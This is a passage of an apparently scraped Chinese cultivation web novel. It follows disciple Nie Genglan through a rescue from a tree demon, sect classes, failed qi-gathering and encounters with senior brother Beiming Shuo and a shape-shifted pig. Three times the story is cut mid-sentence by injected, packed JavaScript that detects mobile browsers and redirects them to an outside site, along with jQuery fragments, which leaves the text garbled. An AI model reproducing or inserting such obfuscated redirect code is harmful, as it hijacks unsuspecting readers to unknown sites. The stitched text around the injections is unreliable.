;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13660445|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘶,不对,这小子有点眼熟啊,这不是那日那个踩我枝条的臭小子么!” 下一瞬聂更阑腰间的枝条一松,身体迅速往湖中心掉落。 红晶树妖哈哈大笑:“真是巧极了!先变成落汤鸡,然后再让我慢慢折磨——” 恰在这时,空中传来一声厉喝,“红晶树!休得胡来!” 聂更阑在即将掉落湖面之前,被一阵柔软的气流托在半空,慢悠悠载回岸边放下。电光火石,惊魂未定。他甚至还没来得及反应过来发生了何事。 脚下踏到坚实的土地,聂更阑略松口气。 半空中,居然是安如风和一位女子御剑而来,几息后已经掠至湖岸边。 “师弟,你没事吧!”安如风和女子急忙查看聂更阑有无伤势。 聂更阑不着痕迹退后一步,摇头,“师兄,师姐,我没事。” 在红晶树枝条袭来之前,安如风抓住聂更阑手臂跳上剑,“先到对岸再说。” 两人写着聂更阑飞到对岸着陆后,红晶树枝条够不到后,安如风介绍了一句“这是你们柳师姐”,那头红晶树暴躁地开始大骂。 “你们拿了我这么多红晶叶,我要一个弟子过来陪我玩玩怎么了!这世道还有天理吗,不公平,不公平!” 柳师姐淡定回答:“是叶子就总会掉,落入湖里飘走还不如让宗里的青炎长老炼药制丹。” “这些叶子是我的,是我的!” “难道珍珠鸡掉了一根鸟毛也要藏回它的窝跟宝贝似的供起来么?” 正准备悄悄溜走的银蓝大鸟怒而回头:“喂!我叫灌灌,不叫珍珠鸡!” “我和红晶树关系很好的,你少挑拨离间我们!” 就是趁大鸟回头间隙的功夫,安如风已经打了一道定身术过去,遥遥将鸟给召回跟前。 银蓝大鸟奋力挣扎:“喂喂,你们想干什么?我只是受人之托,不是,受树之托,一切后果我不承担的啊,你们快放开我!” 红晶树大怒:“死鸟,你说什么?!” “本来就是嘛,你给我叶子,我替你抓人,你出事可和我一点儿关系都没有!” “死鸟!给我等着!” 柳放青和安如风仿佛对这一幕习以为常,面不改色地听着一鸟一树吵架。 等到它们吵累了,柳放青才看向讶异不已的聂更阑,“师弟,你受惊了吧?” 聂更阑沉沉摇头,“柳师姐,安师兄,这是什么情况?” 柳放青,“师弟,你刚入宗门不熟悉也正常,那是珍珠鸡,那个是红晶树妖,你们第二轮比试想必早已见过。” 银蓝大鸟也不挣扎看,恼火地甩着爪子,“我才不是珍珠鸡,我大名是灌灌,女人,能不能不要损坏我英名?” 柳师姐干脆单手捏诀,一道灵力弹出,下一瞬银蓝大鸟不受控制凭空飞起,在半空形成一道弧线落在她手里。 “放开我女人,别胡来啊!”灌灌翅根的羽毛在扑腾,张牙舞爪打算用喙啄柳师姐。 安如风淡淡道:“你伙同红晶树挟持宗门弟子还有理了?知不知道宗规处置,你半年都不能飞出妙音峰——” 灌灌豆豆似的黑眼睛充满不屑。 “——并且罚半年内只能吃粗灵谷——” 灌灌的鸟脖子发出尖利的咯咯声,“我要吃灵虫,吃五神谷,你们不能克扣我的口粮!我要同宗主告状!” 29.火炎珠 聂更阑瞥向这只鸟圆滚滚的肚子,不置一词。 这只鸟能把自己叼走,属实不容易。说不定吃粗灵谷还能稍微减点重量。 安如风哼笑:“宗主并无权限干预执事堂的日常处置,小珍珠,若还有下次,一年内你的口粮都别想恢复原来的档次了。” 柳师姐干脆利落祭出一个锁灵袋将灌灌放进去,“回去好好打鸣,再祸害宗门弟子我就禀报宗主,把你烤了吃。” “——喂,我不是鸡——” “嗤啦。”锁灵袋一拉,抗议声彻底淹没。 湖岸边的地面,红晶树的无数个枝条正悄无声息从地面缩回去。 柳放青扬声:“红晶。” 缩到一半的枝条倏然停住。 “执事堂会将今日之事告知宗主,你好自为之吧,难不成,你还想在这守上万年都无法离开?” 红晶闻言气咻咻把所有枝条都抽了回去,窸窸窣窣间还能听到嘀咕声:“不就是一个脸上有疤的丑小子,本树又不会吃了他。” “红晶,慎言。”安如风声音冷了几分。 红晶树的方向传来一声低哼,接着枝条垂直不动,再也没发出一丝声音。 安如风和柳师姐示意聂更阑站上飞剑,两人御剑带他飞往妙音峰。 路上,在两人口中聂更阑才得知,当年宗主在与魔族的魔后对战时,因为红晶树妖传递的情报,宗主心仪的女修命丧于魔后之手。 女修陨落之前,一再叮嘱宗主不可杀生,因为他命格如此,在突破合体之时不能有差池,否则心神动荡,再难有进阶机缘。 当时宗主眼中布满红血丝,硬生生忍下雷霆杀意,将树妖抓回灵音宗镇压在这方灵音湖边,从此树妖每日受晨钟梵音洗礼,万年不得踏出灵音宗地界。 聂更阑听得一阵感慨。 没想到这红晶树妖与宗主竟然还有这种过往。 “那……灌灌呢?”聂更阑问。 柳放青:“珍珠鸡啊,纯粹是一只被美食耽误无法化形的鸟,原本它是某位的灵宠,只差一丝机缘就能化形,只不过两千年前宗主请回来一个大厨后,珍珠鸡自此变成一个胖球,修炼之路受阻,宗主恨铁不成钢干脆由它去了。只是这膳堂的食物也不是白吃的,每一届新弟子到了它得负责为期三个月的晨间打鸣,使新弟子习惯宗门的作息。” 聂更阑:“原来如此。” 安如风:“师弟今日受惊了,此事是我们管理不周,我会向执事堂长老禀明,届时给你发放补偿。” 聂更阑表示不必,自己没受伤就是最好的,安如风也只是一笑不再说话。 聂更阑被送回妙音峰时,弟子们早已洗漱用膳完毕去了主峰,众人今日都会在那里听课。 匆匆洗漱穿衣用过早膳,聂更阑在柳放青的指点下来到拓音阁面前的草坪,那里早有一只仙鹤等着载他飞往妙音峰主峰。 甫一落地,许田田早已急吼吼冲过来拉住聂更阑,“聂道友!你没事吧?” “一大早我就听说你被那只打鸣的胖鸟抓走了,我要去找你,师兄却说你不会有事,你真的没事吧?” 聂更阑:“嗯,我没受伤,安师兄和柳师姐已经妥善处理此事。” 张琥珀和魏禧这时也挨过来好奇地问:“聂道友,听说那只鸟在宗门里又唤作灌灌猪,它长得一副吉祥灵宠的模样,没想到这么凶恶居然会抓人,就连一个师姐都说第一次看到灌猪会擒人,聂道友你一大早真是触霉头了。” “哼,这鸟谁都不抓偏偏抓这小子,怕不是他身上有什么脏东西。”人群里,张涛翻了个白眼,鄙夷之色再明显不过。 周炎打开手里的折扇,跟着附和:“张道友所言有理啊!” 人群里,许盼娣开口帮腔:“都是同门,你们何必在这阴阳怪气。” 周炎语气揶揄:“哎哟,许道友,你这是上赶着维护恩人?我看哪里用得着这么麻烦,你直接以身相许不就好了,哈哈哈,不过依我看,聂小倌可不一定接受你,人家可是有龙阳之好的哈哈哈哈哈!” 众弟子都不由嘀咕起来。 许盼娣脸色有些难堪,狠狠地瞪着周炎。 一道清泠泠的女声这时响起:“许道友知恩图报,心向善之,反观某些人心胸狭隘妄自揣度他人,心思阴暗,这样的热恐怕在修炼上永远也不能臻至大道。” “君杳然,你放什么——” “都在这里喧哗什么?” 这个时候,授课长老终于赶来,严厉地制止了这场闹剧。 所有弟子不敢造次,鱼贯涌入室内开始准备上课。 聂更阑面对这种闲言碎语已经习惯冷着脸,在看到许盼娣和君杳然时,微微颔首。 两个姑娘相视一笑,因为这件事,并排坐到了一起。 许田田拉着聂更阑坐下,气愤地朝周炎那几个使眼刀子。 “这几个王八蛋,一天不编排别人就不舒服,早晚有一天会被收拾!” 聂更阑沉声开口:“不用为了我和他们起冲突,好好修炼便是。” “那不行,我气不过!”许田田捏紧拳头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13667694|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等着吧,这些混蛋!” 台上的胡长老这时一道符篆扬起,“噤声!” 沸腾的课室顿时一片鸦雀无声。弟子们惶然发现,自己嘴巴虽在一张一合,却没发出任何声音。 胡长老瞪眼吹胡子:“这届弟子也忒吵闹放肆的弟子,当真不如上一届的乖巧守礼,第一课就不知礼仪规矩,禁言一炷香!” 弟子们纷纷端坐好,无人再敢交头接耳。 胡长老从鼻子里哼出一生,手一挥,所有人的桌面都出现了一本小册子。 上曰:灵音宗纪事辑。 胡长老严眉肃目:“本门课将持续一个月,之后会进行小考,夺得第一名者奖励火炎珠,不合格者罚抄一百遍册子内容。” “一百遍啊!” 底下的弟子想哀嚎,无奈发不出声音,嘴巴只能张开又合上,场面一度十分滑稽。 胡长老一弹指,禁言术瞬间解开。 “好了,开始上课!” 没人敢再说笑话,都整齐划一地翻开桌上的课本。 胡长老捧着书本,开始摇头晃脑地念起第一句话: “天地混沌,万物伊始,流月大陆被天神劈为一隅,各界混乱之际……” 约莫是胡长老全程照着书本念,底下不少弟子都昏昏欲睡。聂更阑旁边的许田田脑袋和小鸡啄米似的一点一点,口水差点没留下来。 聂更阑全程坐得端正,认真听讲,遇到关键处会做记录。 半个时辰后,纪事课结束,许田田打着哈欠站起身,看到聂更阑在书本上写得满满当当的一页纸,惊讶地张大嘴巴。 “聂道友,你好认真,居然写了这么多……” 聂更阑用谴责的目光看着他。 许田田心虚低头解释:“我不是刚搬去师父的峰头嘛,每日兴奋地满山跑,逛不够,再加上新到一个地方有很多事儿要忙,就没睡好。” 聂更阑笑笑:“换做是我,能成为真君的亲传弟子我也会开心得睡不着。” “对嘛对嘛,我下次一定好好听讲,绝不瞌睡了!”许田田嘿嘿两声,“不过长老说的那个奖品火炎珠,倒是个稀罕玩意儿,据说是从听杀兽腹中剖出的兽丹,冬日这珠子就如同个大炉子暖融融的,而且还能调息培元,稳固灵根,对修炼有益处呢!” 许田田猝然停下脚步,压低声音,“尤其是对杂灵根而言,这火炎珠简直就是个圣品。当然,这对纯净灵根的人而言,作用就没这么大了,也就照照明罢了。” 聂更阑心中不免掀起了一丝波澜。 30.宗务 许田田指了指自己脑门:“不过这听杀兽据说很难捕到,倒不是说它实力有多强劲,而是这家伙狡猾多智,有时候你脑子不灵光反倒被它摆了一道,因此很多金丹修士都不一定能捕到它。我猜这颗火炎珠应当是宗门里的师兄师姐接悬赏任务带回来的,看这难易程度,奖励应当很丰厚吧。” “悬赏任务?” “对呀,筑基以后的弟子可以视自己能力大小下山接任务,能获得一定的奖励,灵石法器都有,品阶不一,就看悬赏的具体是什么了。修士若是能碰上适合自己的法器,对修炼可以说是日进千里,所以说机缘很重要。接任务对没有家族势力背景的弟子而言也很重要。” 聂更阑表示明白了:“嗯,走吧,下一堂课是引气入体。” 两人收拾好东西出了课室,来到对面的一间课室。 进去时,听到四周有弟子在低声议论,说君杳然慕容证雪那些单灵根的弟子往另一个课室去了,似乎是炼气以上的弟子与其他弟子分开上这门课。 结果张涛那拨人拿这件事大做文章,讽刺许田田一个单灵根还要和他们这些杂灵根一块上课,还嘲讽聂更阑找了个菜鸟当靠山。 许盼娣看不过眼出声帮腔,反而被张涛他们刺了一顿。 许田田气恼,不跟跟他们扯犊子,准备祭出他师尊给他的拜师礼物捆仙索给张涛一点颜色看看,教引气入体的何长老这时进了课室。 众人记起上一门课长老的严厉,纷纷噤若寒蝉各自找蒲团坐下了。 因着是修仙基础课,在座弟子都不同纪事课那般轻慢,个个都全神贯注。 而这,也是聂更阑最期待的一门课。 修仙入门基础——引气入体。 这门课对他而言是重中之重,他此前在藏书阁吃不透的地方,希望能在这里弄明白。 何长老不喜欢废话,快刀斩乱麻大致讲解了引气入体的重要性,很快,开始教授其口诀:“……静坐至无思无念之时,则真息绵绵,元神见而元气生矣……” 聂更阑比谁都专注,跟随指示一步步感受四周灵气的变化,感受静思之下气流在丹田血脉里的流动。 冥想,入定。 这堂课,是最为平静安宁的一堂课。以至于所有弟子都觉得时间流逝飞快,下课时,何长老让所有人睁开眼。弟子们恍若隔世,几乎都以为自己不在课室里,而是身处洞天福地打坐修炼中。 何长老:“今日只是第一课。日后你们想起来会觉得引气入体根本不算什么,但这却是至关重要的一道门槛,尤其是对外门弟子而言。因此谁都不许懈怠,都给我打起精神好好练习!” “是,长老!”弟子们齐声应道。 何长老捋胡须:“嗯,灵音宗灵气充沛,条件得天独厚,你们要珍惜进入宗门的机会,不可荒废了修炼正事。”言罢,他宣布下课。 下课后,弟子们收拾东西时都在议论下午没课该干什么。 许田田手肘碰了碰聂更阑胳膊,“哎,你发什么呆,想什么这么出神呢?” 聂更阑回过神,无声摇头,“没事。” 他只是觉得自己身处梦中,幸福来得太突然罢了。 他九岁之前都在大街上乞讨为生,九岁那年进了绿苑,虽有了遮风挡雨的地方,但也时常担惊受怕,忧思过重,三不五时受罚,也会吃不饱。 小宝瑟那时最羡慕的生活,就是能吃饱穿暖,能每日和同伴一块去私塾上学,放学回家后帮爹娘干活儿,一家人开开心心吃饭聊天。 最平淡的愿望,却是奢望。 是以,今日课上,聂更阑生出了一种不真实感,飘飘忽忽好似进入了一望无尽的天宫云层。 原来这就是和同龄人上学的感觉。 热闹又新奇。 聂更阑拽回飘远的思绪,“去膳堂吧。” 许田田哎了一声,“走走走,今日有樱桃肉和桂花鱼,走慢了就没啦!” 两人随着人潮一路杀到膳堂。许田田揪着聂更阑的衣袖带他挤入人群杀进重围,成功打了两份樱桃肉和桂花鱼。 二人正吃饭,旁边有弟子凑过来好奇地文:“哎许道友,青炎真君的药峰不是有小灶么,你怎么还专程跑到妙音峰的膳堂吃饭啊?” 聂更阑终于从沉思中回神,闻言不由得将视线投向许田田。 许田田筷子夹的鱼肉放到嘴边又放下,讪讪地挠挠头,“那个,膳堂的饭菜我才吃了几天啊还新鲜着呢,我还没吃够,而且师父药峰上的小厨房吃食都是灵植灵谷做的,我吃不惯……” “是么?” “是啊,不然呢!” 问话的弟子不怀好意地在聂更阑和许田田之间打量,最后什么也没说,端着饭食去别的桌坐了。 气氛安静一瞬。 聂更阑垂眸又抬眸,抿了抿唇,终于还是道:“你不必特意陪我。” 许田田吞吞吐吐:“我、我这不是怕张涛周炎那帮找事儿吗,那几个混账嘴贱得很,到处传你的闲言碎语,我怕你应付不过来。” 聂更阑无声注视他的眼睛,几息后,沉沉开口。 “谢谢。” “不过你该把时间用在自己身上,专注修炼,提高自己,否则我会愧疚。” 许田田羞愧地挠了挠头,“知、知道了。” *** 许田田回药峰后,聂更阑也回到拓音阁,刚进院子没多久,就听几个弟子议论过几日会有古琴课。 “咱们还要学琴呐?” “毕竟是灵音宗,听说师祖极擅音律,一把洛水古琴神器当年无人能敌,把魔族杀得落花流水元气大伤呢!” “反正啊,宗门是意在培养更多出色的琴修吧,不让弟子们忘本,近几百年清鸿剑尊的一把太初剑光芒过盛都差点让人忘了灵音宗是靠师祖的洛神古琴开宗立派的。” 聂更阑默默听着几个弟子聊天,不多时有人喊话,说几个师兄师姐都在院子里。众人来到院子里,人差不多齐了,师兄和师姐开始给所有人发放小册子。 “杂役弟子?”人群中,张琥珀听完师兄师姐的讲述,捏着手里的册子打量,好半天才不好意思地看了眼聂更阑,“那个,聂道友,我不识字,你看得懂吗?” 魏禧也赶紧凑过来,“我也不识字,这册子上说的都是什么啊?” 聂更阑拿过册子阅览后,便一一向他们解释。 册子上的都是外门弟子需要挑选的杂役类别,诸如给各峰洒扫,给灵植浇水,辅助炼器峰炼器、药峰炼丹,给各峰浆洗衣物等等。 每个外门弟子都需要挑选一样宗务,并且每月会得到固定的月俸,宗务不同月俸数目也不同。 魏禧和张琥珀在聂更阑的解说下,很快选定浆洗衣物和辅助炼丹的宗务——这两种宗务的月俸灵石最多。 张琥珀因为受了聂更阑人情,选完以后过来热络地问他选了哪个。 聂更阑不语,指尖点在册子某一栏上。 “这是什么?” 聂更阑瞥向他,差点忘了他不识字,“给玄芜真君的琴室除尘。” 魏禧惊呼:“给琴除尘?这活儿也太简单了些,也是月俸最少的差事,你怎会选这个宗务?” 且,给琴室除尘并无晋升空间,纵使再有才干也无法施展,不为人看到。因此张琥珀两人都觉得聂更阑是不是脑子抽风了还是被欺负傻了。 聂更阑垂眸,纤长眼睫在眼睑下投出一片阴影。 清闲的差事正中他下怀。宗务繁忙只会占据他的修炼时间,分散他的精力。他并没有在宗门占据一席之地的打算。 提升实力才是正道。 …… 选完宗务,聂更阑便回到屋里开始入定打坐。 他的床临窗,雕花窗棂外绿意盎然,灵植五光十色,更兼有不少弟子在言谈说笑。他强迫自己摒弃外界嘈杂,平静气息神思,试图进入无我境界。 按照胡长老的教导,初学打坐者,数刻之后,方能屏除幻妄。 聂更阑自诩自己有这个定力。 可他灵台一片清明,血气畅通平和之时,四周的灵气却一直在他周身飘荡萦绕,就是不能进入体内。 聂更阑不免感到着急,额间隐隐有细汗渗出,眉心皱起,眼球在眼皮子地下乱转。而他原本清明平和的世界,忽然涌入了清晰的人声。 “哎,看,那不是那个聂更阑吗,他在打坐?” “应当是在修炼?毕竟今日可是刚上过引气入体课。” “噗嗤,一个凡界来的小倌,还是个四灵根,无论再怎么修炼都不会掀起什么水花,他这是不知道还是真的蠢?” “就是啊,咱们外门弟子能进入灵音宗已经是天大的机缘和福分,外门弟子的目标就不是什么金丹元婴化神,能修炼到筑基已经算是多灵根里的佼佼者了。” “我猜啊,他定然是被这丑陋的疤痕所困,失去倚仗的美貌,只能靠修炼增益自个了。” “嗐,他以后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13679565|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会慢慢就明白,资质从出生起那一刻就已经决定一切,浪费时间还不如好好在宗门里拼一份差事呢。” 因为在入定,四面八方的议论声其实并不如正常听到的大,可这些非议就如同藏在耳里的小锯子,一下一下,刺耳挠心,令人心浮气躁。聂更阑原本清朗的心境开始一点点瓦解,钻入耳里的噪音逐渐由低转高,变得清晰。 “喂,聂更阑,有人找!”蓦地,突如其来的一声叫喊如同惊雷炸响。 聂更阑额头满是细汗地从入定状态惊醒回过神。 他心悸之余,按捺下烦躁的神思,沉声问:“多谢,请问是谁找我?” “是那个朔师兄,你快去吧!”窗外的人叫道。 聂更阑定了定心神,起身拿过巾帕擦拭细汗,随后理了理衣襟和鬓发,这才出门。 下台阶时,他听到背后有隐约的说话声传来,“哎,你看他,还特意整理了仪容,脸上有道疤还想靠脸勾引师兄,真是……” 聂更阑视若罔闻,直直穿过院子出了圆形拱门,果然看到朔师兄站在花坛旁背手等着他。 聂更阑走上前,微微拱手:“师兄,敢问找我有何事?” 朔一看到他脸上立即绽开笑容,又连忙关心道:“聂师弟,听说你今晨被那只珍珠鸡抓走了,你没事吧?” 聂更阑如实回答:“我并未受伤,安师兄柳师姐将我及时带回来了,多谢师兄关心。” “哦哦,那就好,我一出来就听到你被那死胖鸟抓走,担心得立刻赶过来,你没事就好。” “出来?”聂更阑疑惑,“师兄从何处来?” 朔连忙摆手,“没、没什么,对了师弟,我这儿有两枚高阶丹丸,是培元丹和冰心丹,在修炼时也许能助你一臂之力。呐,你收好,日后说不定能用到。” 说着,他要拉过聂更阑的手把丹药放入他手心。 聂更阑后退一步避开朔的动作,只是问道:“敢问师兄姓氏是什么?” 朔一听喜笑颜开,还以为他终于愿意过问自己的事了,当即回答:“我姓北溟,大名唤作北溟朔!” 聂更阑微微颔首,再次后退一步拱手:“北溟师兄。” 朔,不,现在应当是北溟朔了。北溟朔以为聂更阑是要同自己拉进关系,没想到却摆出一副生疏的姿态,不禁感到愕然,“呃,师弟,你……” 聂更阑:“北溟师兄,无功不受禄,你的丹药我不能接受。” 北溟朔大感挫败,垮下一张脸做出恳求姿态:“师弟,就当做是交个朋友,可以吗?朋友之间互相帮助不是很正常么?” “北溟师兄,可是我没什么能帮得上你的。” “不是这么个理,朋友之间并非需要给予什么才能成为朋友,有时一见如故也能成为交心者,对不对?” 聂更阑本意是要劝退北溟朔,没想到居然被这番大道理给说得愣住。 趁他愣神的功夫,北溟朔把两枚丹药塞进他手里,然后飞速溜走,“师弟,我会每隔几天就来看你,时间不定,你一定要等我,我争多来看你,一定要等我啊!” 不等聂更阑有回应,北溟朔已经踩上剑飞走了,风风火火的,生怕他再说出什么拒绝人的伤心话。 聂更阑:“……” 他低头看向掌心的两枚丹药,默默收入储物袋,回到院子。 进到房里,他整理床褥时时,闲言碎语顺着风飘入窗棂。 “就知道他是为了勾引朔师兄才整理仪容的,我都看到师兄赠他丹药了。” “可是说来也奇怪,他那道疤分明可怖又丑陋,朔师兄为何会看上他?当真教人不解。” “也许是他使了什么狐媚子手段吧,可别小瞧了从勾栏之地出来的人。” 聂更阑面无表情整理好被褥,出去时看也不看那些人一眼,径直出了院子往藏书阁方向而去。 他引气入体遇到瓶颈,需要去藏书阁参详书里的经验,说不定能发现不足在何处。 他走得很慢,在终于快要走出外门弟子宿阁所在的竹林时,两旁花坛的灵植渐渐开始高大。据说这些灵植都是青炎真君的药峰种的,既有观赏之用,也可入药炼丹。 这些灵植个头和人身等高,里头若是藏着什么小灵兽也是轻而易举—— 这个念头才闪过,聂更阑就听到灵植灌木丛里传来一阵极大的动静,窸窸窣窣。 鬼鬼祟祟。 下一刻,就从灵植丛里滚出来一只肚皮圆滚滚的猪。 31.古琴 哪里来的小猪? 且这只猪似乎知道自己露出肚皮很可爱,在地上翻来覆去打滚不肯起来,摆明了是要故作姿态撒娇。小猪只有婴孩体型大小,和早晨的灌灌相比,灌灌才更像是是一只猪。 聂更阑思索的功夫,地上的小猪就这么直挺挺地滚了一圈过来直接躺在了他脚背上。 少年对毛绒绒的小兽没有抵抗力,于是蹲下身,摸了摸小猪的肚皮。这小猪的皮毛是藕粉色,绒毛软绵绵,手感居然还不错。 “小猪,你是哪个峰头的灵宠?”聂更阑低声问。 “哼唧!” 在聂更阑提问后,小猪脑袋又蹭了蹭他脚背,模样极亲昵,水汪汪的大眼睛和聂更阑对视,好不可怜。 实则小猪抖了抖尾巴在心里骂:要不是为了勾引你们,我至于变成一头猪吗! 聂更阑却疑惑:“猪的叫声怎的同小鸡小鸟这般相似?” 小猪闻言,立马装死躺在聂更阑脚背上,一动不动。 聂更阑:“?” “你怎么了?” 小猪:“哼唧……人家饿得没力气走路啦~” 聂更阑默然。 也不知道这是哪个峰头养的灵兽,主人这般粗心,居然忘了给小猪喂食。所以,这是出来觅食饿昏倒在路边了? 聂更阑想了想,低头道:“膳堂的食物你吃不吃?” 小猪一歪脑袋,刚要激动大叫,想起自己现在扮演的角色,柔柔弱弱地“哼唧”了一声,脑袋拼命点表示可以。 聂更阑立刻起身要去膳堂,“你在此处等着,我去去就回。” “哼唧~” 聂更阑回头:“怎么?” “要肉、肉~这样才能恢复力气,哼唧~” “好。” 聂更阑来到膳堂,要了四五根鸡腿和一盘肉包子,出膳堂时还收到不少视线注目。回到树丛时,小猪已经昂着脑袋在不停张望了。 聂更阑把小猪带到一处僻静的亭子,将食物放在石桌上,“吃吧。” 小猪欢呼一声,硕大的身躯跳上石桌开始用扒拉食物,狼吞虎咽。 吃到尽兴时胖脑袋一偏看到少年在盯着它进食,没来由一阵心虚赶紧低头继续吃。 哼,这臭小子,心地还挺好的。 …… 假山后,去而复返的北溟朔疑惑不解地盯着少年喂着小猪的这一幕。 这胖鸟不是早上才掳过聂师弟到妙音湖,怎么变成一只猪在这骗吃骗喝了? 不过话说回来,他因为想多看几眼聂更阑偷偷摸回来,没想到却撞见他心善温柔的一面。 北溟朔眼里顿时一片水汪汪。 他的小美人就是全流月大陆最心善的人! 聂更阑喂完小猪后直接去了藏书阁。 而北溟朔也御剑远去,一路飘飘然不知所以,一边露出痴汉傻笑:“人美心善……我果然没喜欢错人……” 片刻后,他一头扎进玉髓峰禁制时,立刻有一张金色传音符飘到他面前,清冷渺远的声音在耳边炸响。 “弟子大比结束,切记不可再频繁出入玉髓峰。” 化为龙形的北溟朔瞬间像霜打的茄子,蔫了,“哦。” …… 聂更阑在藏书阁待了足足两个时辰才一脸疲倦地出来,日落月升,他回去草草吃了几口干粮,洗漱后倒头就睡。 聂更阑引气入体并不顺利,甚至可以说遇到了巨大屏障。 因为疲劳过度再加上方式不对,他血脉经络凝滞酸胀,最后连灵气都无法聚拢,只能强行中断回去休息。 快入睡的朦胧瞬间,他似乎听到同个房间的弟子的说话声:“装模作样,又没人看着,做这副勤奋模样给谁看呢?” 聂更阑拿出许田田留下的那对棉花团,塞进耳里,沉沉睡去。 …… 翌日,晨曦初露,天将亮未亮时分,房间最里边的床位腾地坐起来一个身影。 聂更阑蹑手蹑脚洗漱后回到床上,趁着房里其他人没起,坐回榻上安静地开始打坐。但还不到一刻钟,他就眉心狠皱大口喘气,四肢一松垂落到榻边。 不行,还是不行。分明磅礴的灵气就近在咫尺,唾手可得,可就是在丹田处打转,无法进入。 聂更阑大汗淋漓喘着气,正要擦掉汗再来,蓦地,从院子外遥远的地方传来清晰的鸣蹄声。 “起床啦,起床啦,起床啦,废物们,起床啦!” 所有弟子从梦中惊醒,被这一声声“废物”弄得肝火旺盛,和昨日一样,许多弟子奔出院子把枕头往枝头上的灌灌砸去。 “什么破鸡,叫起床就叫,干嘛喊我们废物!” 灌灌愤怒地扑棱翅膀,“叽叽,你们才是鸡,你们都是鸡!” 横竖它要三个月不能好吃好喝,那它就要拿这些弟子当出气筒。 哼! 叫起床任务完成,还成功引起众怒,灌灌很满意,正要再挑衅几句,这会儿却看见一抹熟悉的丑陋疤痕脸出现在视野里。 一半昳丽一半可怖的脸。 灌灌心虚地扑腾起翅膀,哗啦啦从枝头飞走,溜了。 聂更阑看着灌灌远去的胖嘟嘟背影,在一片骂声中离开拓音阁去了膳堂。匆匆用过早饭,他在附近暖池旁的竹林里寻了个清净处,继续打坐。 就这样,一连几日,聂更阑早出晚归勤恳修炼,除此之外就是背那本灵音宗纪事辑,以应付小考。但关于修炼,无论他如何努力,灵气不是无法进入体内,就是在快要引入丹田时受到强大阻力,无疾而终。 聂更阑心中焦急,吃不好睡不好,几天下来明显清瘦了一圈,上纪事课时,许田田终于看出他的变化,低声惊呼:“聂更阑,你怎么了,这几日是不是很累?是不是……他们又欺负你了?” 聂更阑摇头:“无事,打坐修炼太累而已。” “是吗?”许田田表示很怀疑。 不过没等他继续问,胡长老适时地进来,纪事课开始了。课上到末尾时,胡长老终于提及到灵音宗近百年来灵气大盛的问题。 流月大陆所有地域里,灵音宗的灵气最为充裕,灵脉遍布四周山脉几千里,大大小小有一百多条。而在五百年前,这里的灵脉不过十来条而已。 许田田终于忍不住好奇举手提问:“胡长老,弟子想知道,灵音宗当年到底发生了何事导致的这变故?” 胡长老捻须微微一笑:“变故么?倒也未必,目前看来是天道厚爱,但是福是祸,且看将来如何罢。” 众弟子面面相觑,皆是一头雾水。 恰好此时钟磬敲响,胡长老讲课结束溜之大吉,不再给弟子提问的机会。 许田田对聂更阑吐了吐 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许田田一胳膊肘捅过来,将聂更阑的沉思打断,“喂,想什么这么出神?对了,你引气入体到底顺利吗?” 聂更阑深深瞥向他,忽然问道:“你引气入体成功了?” “当然,引气入体不是很容易吗?” 许田田脱口而出后立即意识到什么,瞬间捂住嘴然后又放开,小心翼翼觑着同伴的神色,“你、你你,真的很不顺利?” 聂更阑难得将眉毛高高扬起,直言道:“嗯,确实不顺利。不过我们资质不同,你修炼神速无须避讳我,不用担心什么。” 许田田松了口气,又开始滔滔不绝,“是啊是啊,何长老也说了,多灵根确实比较困难,不过没事,我相信你有潜力,一定能后来居上赶超我们的!” 聂更阑静默不语,此前的坚定的心态也开始摇摆不定。 真的可以么? *** 下午新增了一门古琴课,许田田没回药峰,坚持要同聂更阑去膳堂。 膳堂里,许田田吐槽了资质更优的那几人,“君杳然,慕容证雪,聂云斟那几个我实在是望尘莫及,他们御剑课无师自通,而且啊,那几位真君都说了,除去纪事啊、丹药和古琴等硬性要求的课程,其余时辰他们可自行修炼支配时间。” 许田田再次吐了吐舌头。 “哎,反正现在的情况是,若我与外门弟子说引气入体易如反掌,他们以为我在炫耀,可我说的都是实话,更可怖的,是那些资质天赋更优的世家公子和小姐。” 聂更阑终于明白,在真正的天赋面前,一切努力都会成为笑话。 他那个道貌岸然的哥哥——聂云斟的忽然在耳边闪过,竟是如此真实。 并不是恐吓。 用完膳,聂更阑和许田田去了竹林里打坐修炼,时间一晃而过,下午的古琴课很快到来。 这次所有弟子都到齐了,包括君杳然,慕容证雪和聂云斟。 教授古琴的玄芜真君出现时,众弟子起身行了弟子礼。尤其是君杳然,面对师尊神态尤为崇敬恭谨。 玄芜挥手示意众人坐下,再度挥手时,案台上立时出现一把流光四溢的苍青古琴。 课室里惊艳之声此起彼伏。 